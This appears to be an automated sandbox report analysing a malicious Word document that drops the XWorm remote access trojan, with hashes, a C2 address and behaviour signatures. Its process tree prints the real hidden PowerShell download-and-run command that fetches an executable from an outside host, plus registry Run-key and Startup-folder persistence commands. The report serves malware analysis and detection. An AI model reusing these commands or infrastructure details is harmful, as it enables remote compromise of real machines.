Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2024 02:32

General

  • Target

    62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e.doc

  • Size

    797KB

  • MD5

    917e800806d60717238c5b767070af1a

  • SHA1

    2fd273a4f5a39691e4f256eebf4c0ec705a0d298

  • SHA256

    62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e

  • SHA512

    ebc6c8f811383faad6f159b65e3db598173e5fba6fb6e0167dbdf85e148ddbcd25400e8c1395e7388ea897ae7cb646832c88400a7eb461bb65efd7d098d4afc4

  • SSDEEP

    24576:/KOGjn4lUrN4vaxrB1qep1wuJ7NYtQV7dJXWlLPx:3q4m4Sxrzp1TJ7j7vXW

Malware Config

Extracted

Family

xworm

C2

185.244.29.113:5563

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Drops startup file 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\SYSTEM32\cMD.exe
      cMD /C POWerSheLL.EXE -ex bYPasS -NOp -w HIdden invoKe-WebreqUeSt -uRI 'https://alexanu.com/xwcry.exe' -OutFiLE '%AppDaTa%\admini.exe' ; inVoKe-itEm '%apPDAtA%\admini.exe'
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POWerSheLL.EXE -ex bYPasS -NOp -w HIdden invoKe-WebreqUeSt -uRI 'https://alexanu.com/xwcry.exe' -OutFiLE 'C:\Users\Admin\AppData\Roaming\admini.exe' ; inVoKe-itEm 'C:\Users\Admin\AppData\Roaming\admini.exe'
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3556
        • C:\Users\Admin\AppData\Roaming\admini.exe
          "C:\Users\Admin\AppData\Roaming\admini.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3960
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "admin" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xwor.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:1624
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 7
              6⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:4292
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "admin" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xwor.exe"
              6⤵
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              PID:3904
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c ping 127.0.0.1 -n 9 > nul && copy "C:\Users\Admin\AppData\Roaming\admini.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xwor.exe" && ping 127.0.0.1 -n 9 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xwor.exe"
            5⤵
            • Drops startup file
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4168
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 9
              6⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:4436
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 9
              6⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:1136
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xwor.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xwor.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4312
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                7⤵
                  PID:1608
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                  7⤵
                  • Drops startup file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:432

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\TCDEB44.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2afv5kil.jad.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      16B

      MD5

      d29962abc88624befc0135579ae485ec

      SHA1

      e40a6458296ec6a2427bcb280572d023a9862b31

      SHA256

      a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

      SHA512

      4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

      Filesize

      1KB

      MD5

      6e1e0f59893d1d09af6151698b4322e6

      SHA1

      d12bf66ba5e7658bbdf8088b10fa7dd1bd51bac0

      SHA256

      335f5cd002eb20fd66ee8779d257ead70028add99dfa2b6dfa4740d798cfe795

      SHA512

      b69bad428599a0e63edd003cebe967a240802fd0dbcb430ea915f2060eb374c1bca609aaefdb25988d897e588df8131e7b368bf9a8856e3005c18491d61156c6

    • C:\Users\Admin\AppData\Roaming\admini.exe

      Filesize

      569KB

      MD5

      bd68902a8945ae6d477a6987d6a4adae

      SHA1

      32fe48563a19a99bfb1bc72d5cc28cf25b84be95

      SHA256

      e0093e723e1a58f6a4914bb895afee80a8cce033d6534588a78ed404d69e348f

      SHA512

      49fc903de523c244e70adccab727bbc353a0e05aa742e713d9841848440c8d83d17170b45f965ae0625e912211fb4c89c4fb2fb0ad5452c37a761e9fa7347eba

    • memory/432-227-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

    • memory/2880-11-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-3-0x00007FFE8CFD0000-0x00007FFE8CFE0000-memory.dmp

      Filesize

      64KB

    • memory/2880-12-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-13-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-14-0x00007FFE8AAB0000-0x00007FFE8AAC0000-memory.dmp

      Filesize

      64KB

    • memory/2880-1-0x00007FFECCFED000-0x00007FFECCFEE000-memory.dmp

      Filesize

      4KB

    • memory/2880-15-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-17-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-18-0x00007FFE8AAB0000-0x00007FFE8AAC0000-memory.dmp

      Filesize

      64KB

    • memory/2880-16-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-9-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-7-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-6-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-39-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-38-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-40-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-0-0x00007FFE8CFD0000-0x00007FFE8CFE0000-memory.dmp

      Filesize

      64KB

    • memory/2880-4-0x00007FFE8CFD0000-0x00007FFE8CFE0000-memory.dmp

      Filesize

      64KB

    • memory/2880-8-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-10-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-63-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-64-0x00007FFECCFED000-0x00007FFECCFEE000-memory.dmp

      Filesize

      4KB

    • memory/2880-65-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-66-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-5-0x00007FFE8CFD0000-0x00007FFE8CFE0000-memory.dmp

      Filesize

      64KB

    • memory/2880-75-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/2880-2-0x00007FFE8CFD0000-0x00007FFE8CFE0000-memory.dmp

      Filesize

      64KB

    • memory/3556-51-0x0000023A21390000-0x0000023A213B2000-memory.dmp

      Filesize

      136KB

    • memory/3556-90-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/3556-41-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/3556-76-0x00007FFECCF50000-0x00007FFECD145000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-92-0x00000000055D0000-0x000000000566C000-memory.dmp

      Filesize

      624KB

    • memory/3960-94-0x0000000005740000-0x00000000057D2000-memory.dmp

      Filesize

      584KB

    • memory/3960-93-0x0000000005C50000-0x00000000061F4000-memory.dmp

      Filesize

      5.6MB

    • memory/3960-212-0x00000000057E0000-0x0000000005822000-memory.dmp

      Filesize

      264KB

    • memory/3960-213-0x0000000005C00000-0x0000000005C0A000-memory.dmp

      Filesize

      40KB

    • memory/3960-91-0x0000000000C40000-0x0000000000CD4000-memory.dmp

      Filesize

      592KB

    • memory/4312-220-0x00000000002D0000-0x0000000000364000-memory.dmp

      Filesize

      592KB

    • memory/4312-221-0x0000000006DB0000-0x0000000006DCA000-memory.dmp

      Filesize

      104KB

    • memory/4312-222-0x00000000093D0000-0x00000000093D6000-memory.dmp

      Filesize

      24KB